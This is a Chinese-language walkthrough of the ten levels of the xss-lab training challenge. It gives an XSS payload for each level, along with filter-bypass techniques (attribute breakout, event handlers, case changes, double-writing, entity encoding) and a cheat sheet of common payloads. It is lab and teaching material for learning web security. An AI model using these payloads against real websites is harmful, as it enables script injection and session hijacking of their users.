前言:

        该文章仅用于信息网络安全防御技术学习,请勿用于其他用途!

        该文章为纯技术分享,严禁利用本文章所提到的技术进行非法攻击!

目录

XSS-lab:

level1(直接注入)

Level2(闭合)

Level3(绕过)

Level4(onclick绕过)

Level5(绕过检测on和script事件)

Level6(大小写绕过)

Level7(双写绕过标签过滤)

Level8(编码绕过)

Level9(必要字段+ASCII编码绕过)

Level10

总结:

 常用的payload

XSS常用的标签:


XSS-lab:

1、github上搜索xsslab,Github仓库:https://github.com/rebo-rn/xss-lab
2、下载资源放到小皮的www目录里
3、小皮创建网站然后重启服务
4、点击图片开始挑战:

level1直接注入

(1)直接注入:<script>alert(1)</script>
(2)成功注入

Level2(闭合)

1、发现一个输入框,尝试输入上一关的payload:<script>alert(1)</script>
2、输入之后点击搜索没反应,查看源码发现把我们输入的内容进行了替换
3、改写payload:"><script>alert(1)</script>

<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword  value="<script>alert(1)</script>">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:25</h3></body>
</html>

Level3(绕过)

1、先尝试使用前两关的payload发现没有用
2、查看源代码发现输入的内容被转义了,尝试在当前位置绑定一个点击事件,点击输入框
3、Payload:keyword=' onclick='alert(1)

Level4(onclick绕过

1、还是上万能的探测语句:<script>alert(1)</script>
2、使用上一关的payload,发现还是行不通,尝试双引号
3、果然,Payload:keyword=" onclick="alert(1)

Level5(绕过检测on和script事件)

1、尝试了前几关的payload发现都不行
2、查看源代码发现onclick和script都被过滤了
3、使用<a></a>标签试一下,payload:keyword="><a href="javascript:alert(1)"

Level6(大小写绕过)

1、还是尝试上一关的payload:"><a href="javascript:alert(1)"
2、发现不行,查看源代码发现href被过滤了
3、尝试一下大小写,点击中间的图片,payload:"><a Href="javascript:alert(1)

Level7(双写绕过标签过滤)

1、老样子,先试一下之前的注入,发现script直接被过滤了
2、Script被替换掉,那么传入sscriptcript,这样被替换后就是我们想要的script了
3、同样的href也可以替换为hhrefref
4、Payload:"><a hhrefref="javasscriptcript:alert(1)

Level8(编码绕过)

1、老样子,使用上一关的注入,发现行不通
2、更换大小写也不行,还加了下划线
3、使用Unicode编码,payload:javasc&#114;ipt:alert(1)

Level9(必要字段+ASCII编码绕过)

1、老样子,使用上一关的payload注入,javascript:alert(1)
2、提示链接不合法,找一个合法的链接试试
3、输入javascript:alert(1)//http://baidu.com/发现被添加了下划线
4、尝试使用Unicode编码,payload:javasc&amp;#114;ipt:alert(1)//http://baidu.com/

Level10

1、直接查看源代码吧
2、发现注入点可能是t_sort,然后发现过滤了<和>两个符号,那直接绑定onmouseover事件注入即可,注意的是这里的type是hidden的,我们需要改一下,不然就点不到了,于是得到 t_sort=" onmouseover='alert(1)' type="text
3、Payload:?keyword=well%20done!&t_sort=" onmouseover='alert(1)' type="text
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

总结:

        

        做了10题下来,发现难度是依次上升的

解题思路:先观察题目的类型,猜哪个地方可以存在注入,然后是代码分析,这个可以交给chatgpt,下面就可以尝试自己构造好的payload,也可以进行BP抓包看下具体数据,或者指纹识别查一下框架是否有历史漏洞,

 常用的payload

常用的payload:
<SCRscriptIPT>'"()Oonnjavascript
<script>alert(123)</script> 
闭合(难点)
事件:οnmοuseοver、onfocus    ----onfocus=javascript:alert(123)---οnmοuseοver=alert(123)-----
img标签   <img src=1 onerror=alert(123)> 
a标签   <a href=javascript:alert(123)>haha</a>
Unicode编码绕过,大小写绕过,双写绕过
a标签href后面javascript:alert(123)//http://github.com/
抓包改referer,cookie,User-Agent: 

不用死记硬背,自己多敲,用的时候能想起来就行。

XSS常用的标签:


在XSS中常用的是以下这些标签
alert              		 alert()方法用于显示带有一条指定消息和一个确认按钮的警告框
window.location   		 window.location对象用于获得当前页面的地址(URL) ,并把浏览器重定向				到新的页面
location.href   		返回当前显示的文档的完整URL
onload               		一张页面或一幅图像完成加载
onerror               		  在加载文档或图像时发生错误
onchange		HTML 元素改变
onclick			用户点击 HTML 元素
onmouseover		鼠标指针移动到指定的元素上时发生
onmouseout		用户从一个 HTML 元素上移开鼠标时发生
onkeydown		用户按下键盘按键

Logo

GitCode 天启AI是一款由 GitCode 团队打造的智能助手,基于先进的LLM(大语言模型)与多智能体 Agent 技术构建,致力于为用户提供高效、智能、多模态的创作与开发支持。它不仅支持自然语言对话,还具备处理文件、生成 PPT、撰写分析报告、开发 Web 应用等多项能力,真正做到“一句话,让 Al帮你完成复杂任务”。

更多推荐